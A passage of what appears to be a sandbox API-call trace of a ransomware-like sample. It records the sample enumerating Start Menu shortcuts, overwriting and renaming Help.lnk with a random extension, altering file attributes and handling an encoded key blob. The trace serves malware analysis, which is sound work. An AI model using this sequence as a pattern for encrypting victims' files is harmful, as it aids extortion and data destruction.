"c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\maintenance\\help.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0129.516] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f1ae00*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f1ae00*, lpNumberOfBytesWritten=0x18f3e0*=0x106, lpOverlapped=0x0) returned 1 [0129.518] CloseHandle (hObject=0x1e8) returned 1 [0129.518] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Help.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\maintenance\\help.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Help.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\maintenance\\help.lnk.zv7un")) returned 1 [0129.520] GetCurrentThreadId () returned 0xa30 [0129.520] GetCurrentThreadId () returned 0xa30 [0129.520] GetCurrentThreadId () returned 0xa30 [0129.520] GetCurrentThreadId () returned 0xa30 [0129.520] GetCurrentThreadId () returned 0xa30 [0129.520] GetCurrentThreadId () returned 0xa30 [0129.520] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e0387ee, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x106, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Help.lnk", cAlternateFileName="")) returned 0 [0129.520] GetLastError () returned 0x12 [0129.520] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0129.522] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6179cb00, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x6179cb00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0129.523] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0129.523] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0129.523] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6179cb00, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x6179cb00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0129.523] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0129.523] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0129.523] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e05e94e, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0129.523] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x6179cb00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x106, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Help.lnk.Zv7uN", cAlternateFileName="HELPLN~1.ZV7")) returned 1 [0129.523] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0129.523] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0129.523] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x6179cb00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x106, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Help.lnk.Zv7uN", cAlternateFileName="HELPLN~1.ZV7")) returned 0 [0129.523] GetLastError () returned 0x12 [0129.523] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0129.524] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Startup", cAlternateFileName="")) returned 1 [0129.524] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0129.524] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0129.524] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0129.524] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0129.524] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0129.524] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0129.524] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0129.524] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0129.524] GetLastError () returned 0x12 [0129.524] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0129.525] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0129.525] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0129.525] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0129.525] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0129.525] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0129.525] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0129.525] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0129.525] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0129.525] GetLastError () returned 0x12 [0129.525] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0129.525] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Startup", cAlternateFileName="")) returned 0 [0129.526] GetLastError () returned 0x12 [0129.526] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0129.526] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2d7ae880, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d7ae880, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19fc4641, dwReserved1=0xba1113e9, cFileName="Programs", cAlternateFileName="")) returned 0 [0129.526] GetLastError () returned 0x12 [0129.526] FindClose (in: hFindFile=0x6aa000 | out: hFindFile=0x6aa000) returned 1 [0129.526] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb04, csidl=22, fCreate=0 | out: pszPath="C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned 1 [0129.529] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu" (normalized: "c:\\programdata\\microsoft\\windows\\start menu")) returned 0x11 [0129.529] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb04, csidl=22, fCreate=0 | out: pszPath="C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned 1 [0129.529] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\*.*", lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1cc35f15, ftLastAccessTime.dwHighDateTime=0x1ca0440, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x67b0e38b, dwReserved1=0xba1113e9, cFileName=".", cAlternateFileName="")) returned 0x6aa000 [0129.529] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1cc35f15, ftLastAccessTime.dwHighDateTime=0x1ca0440, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x67b0e38b, dwReserved1=0xba1113e9, cFileName="..", cAlternateFileName="")) returned 1 [0129.529] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cc35f15, ftCreationTime.dwHighDateTime=0x1ca0440, ftLastAccessTime.dwLowDateTime=0x1cc35f15, ftLastAccessTime.dwHighDateTime=0x1ca0440, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x502, dwReserved0=0x67b0e38b, dwReserved1=0xba1113e9, cFileName="Default Programs.lnk", cAlternateFileName="DEFAUL~1.LNK")) returned 1 [0129.529] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa1c | out: lpLocalFileTime=0x18fa1c) returned 1 [0129.529] FileTimeToDosDateTime (in: lpFileTime=0x18fa1c, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0129.530] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Default Programs.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\default programs.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cc35f15, ftCreationTime.dwHighDateTime=0x1ca0440, ftLastAccessTime.dwLowDateTime=0x1cc35f15, ftLastAccessTime.dwHighDateTime=0x1ca0440, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x502)) returned 1 [0129.530] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Default Programs.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\default programs.lnk")) returned 0x20 [0129.530] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Default Programs.lnk", dwFileAttributes=0x80) returned 1 [0129.533] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0129.533] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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